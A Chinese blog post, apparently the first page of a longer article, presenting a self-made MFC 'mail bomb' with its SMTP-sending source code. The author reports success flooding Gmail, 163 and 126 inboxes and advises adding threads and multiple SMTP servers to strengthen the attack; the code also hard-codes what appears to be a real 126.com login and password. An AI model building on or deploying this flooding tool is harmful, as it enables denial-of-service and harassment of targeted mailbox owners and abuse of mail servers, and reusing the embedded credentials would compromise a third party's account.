MFC实现的邮件炸弹【附源码】


前段时间有个网络安全实验,因为这边我在做信息安全的一个国赛,没有参加,别人做完了,做了一个邮件炸弹,我觉得蛮有意思的,于是就自己写了一个,MFC做的,结果是攻击某些邮箱可以(gmail,163,126),有些不行(QQ邮箱会把发的邮件直接放到垃圾箱里,我想可能是加了自己的一个包过滤机制,类似防火墙的东西),ok,下面我就开始说说我做的邮件炸弹吧,欢迎大家拍砖~~~~~~~~

首先,展示一下邮件炸弹的界面:


输入邮件炸弹需要到达的邮箱地址,开始执行,向目标地址,发送邮件,我只写了一个线程,发送邮件,如果想效果更好的话,你可以修改源码,多建几个线程登陆多个SMTP服务器,同时发送邮件,这样效果更好。。。

我的发送邮件的主要的函数是sendemail实现的:

  1. void sendemail(char *email,char *body,char *smtpip)  
  2. {  
  3.     int sockfd = 0;  
  4.     struct sockaddr_in their_addr = {0};  
  5.     char buf[1500] = {0};  
  6.     char rbuf[1500] = {0};  
  7.     char login[128] = {0};  
  8.     char pass[128] = {0};  
  9.     #ifdef WIN32   
  10.     WSADATA WSAData;  
  11.     WSAStartup(MAKEWORD(2, 2), &WSAData);  
  12.     #endif   
  13.     memset(&their_addr, 0, sizeof(their_addr));  
  14.     their_addr.sin_family = AF_INET;  
  15.     their_addr.sin_port = htons(25);  
  16.     their_addr.sin_addr.s_addr = inet_addr(smtpip);//smtp 服务器   
  17.     // 连接邮件服务器,如果连接后没有响应,则2 秒后重新连接   
  18.     sockfd = open_socket((struct sockaddr *)&their_addr);  
  19.     memset(rbuf,0,1500);  
  20.     while(recv(sockfd, rbuf, 1500, 0) == 0)  
  21.     {  
  22.         printf("reconnect...\n");  
  23.         Sleep(2);  
  24.         //close(sockfd);   
  25.         sockfd = open_socket((struct sockaddr *)&their_addr);  
  26.   
  27.         memset(rbuf,0,1500);  
  28.     }  
  29.   
  30.     printf("%s\n", rbuf);  
  31.   
  32.     // EHLO   
  33.     memset(buf, 0, 1500);  
  34.     sprintf(buf, "EHLO abcdefg-PC\r\n");  
  35.     send(sockfd, buf, strlen(buf), 0);  
  36.     memset(rbuf, 0, 1500);  
  37.     recv(sockfd, rbuf, 1500, 0);  
  38.     printf("%s\n", rbuf);  
  39.   
  40.     // AUTH LOGIN   
  41.     memset(buf, 0, 1500);  
  42.     sprintf(buf, "AUTH LOGIN\r\n");  
  43.     send(sockfd, buf, strlen(buf), 0);  
  44.     printf("%s\n", buf);  
  45.     memset(rbuf, 0, 1500);  
  46.     recv(sockfd, rbuf, 1500, 0);  
  47.     printf("%s\n", rbuf);  
  48.   
  49.     // USER   
  50.     memset(buf, 0, 1500);  
  51.     sprintf(buf,"testhc@126.com");//邮箱账号   
  52.     memset(login, 0, 128);  
  53.     base64(login, buf, strlen(buf));  
  54.     sprintf(buf, "%s\r\n", login);  
  55.     send(sockfd, buf, strlen(buf), 0);  
  56.     printf("%s\n", buf);  
  57.     memset(rbuf, 0, 1500);  
  58.     recv(sockfd, rbuf, 1500, 0);  
  59.     printf("%s\n", rbuf);  
  60.   
  61.     // PASSWORD   
  62.     sprintf(buf, "199183");//邮箱密码   
  63.     memset(pass, 0, 128);  
  64.     base64(pass, buf, strlen(buf));  
  65.     sprintf(buf, "%s\r\n", pass);  
  66.     send(sockfd, buf, strlen(buf), 0);  
  67.     printf("%s\n", buf);  
  68.   
  69.     memset(rbuf, 0, 1500);  
  70.     recv(sockfd, rbuf, 1500, 0);  
  71.     printf("%s\n", rbuf);  
  72.   
  73.     // MAIL FROM   
  74.     memset(buf, 0, 1500);  
  75.     sprintf(buf, "MAIL FROM: <testhc@126.com>\r\n");  
  76.     send(sockfd, buf, strlen(buf), 0);  
  77.     memset(rbuf, 0, 1500);  
  78.     recv(sockfd, rbuf, 1500, 0);  
  79.     printf("%s\n", rbuf);  
  80.   
  81.     // RCPT TO 第一个收件人   
  82.     sprintf(buf, "RCPT TO:<%s>\r\n", email);  
  83.     send(sockfd, buf, strlen(buf), 0);  
  84.     memset(rbuf, 0, 1500);  
  85.     recv(sockfd, rbuf, 1500, 0);  
  86.     printf("%s\n", rbuf);  
  87.   
  88.     // DATA 准备开始发送邮件内容   
  89.     sprintf(buf, "DATA\r\n");  
  90.     send(sockfd, buf, strlen(buf), 0);  
  91.     memset(rbuf, 0, 1500);  
  92.     recv(sockfd, rbuf, 1500, 0);  
  93.     printf("%s\n", rbuf);  
  94.   
  95.     // 发送邮件内容,\r\n.\r\n内容结束标记   
  96.     sprintf(buf, "%s\r\n.\r\n", body);  
  97.     send(sockfd, buf, strlen(buf), 0);  
  98.     memset(rbuf, 0, 1500);  
  99.     recv(sockfd, rbuf, 1500, 0);  
  100.     printf("%s\n", rbuf);  
  101.   
  102.     // QUIT   
  103.     sprintf(buf, "QUIT\r\n");  
  104.     send(sockfd, buf, strlen(buf), 0);  
  105.     memset(rbuf, 0, 1500);  
  106.     recv(sockfd, rbuf, 1500, 0);  
  107.     printf("%s\n", rbuf);  
  108.   
  109. // VC2005 需要使用   
  110.     closesocket(sockfd);  
  111. //  close(sockfd);   
  112.     #ifdef WIN32   
  113.     WSACleanup();  
  114.     #endif   
  115.     return;  
  116. }  
  • 1
  • 2
  • 下一页

相关内容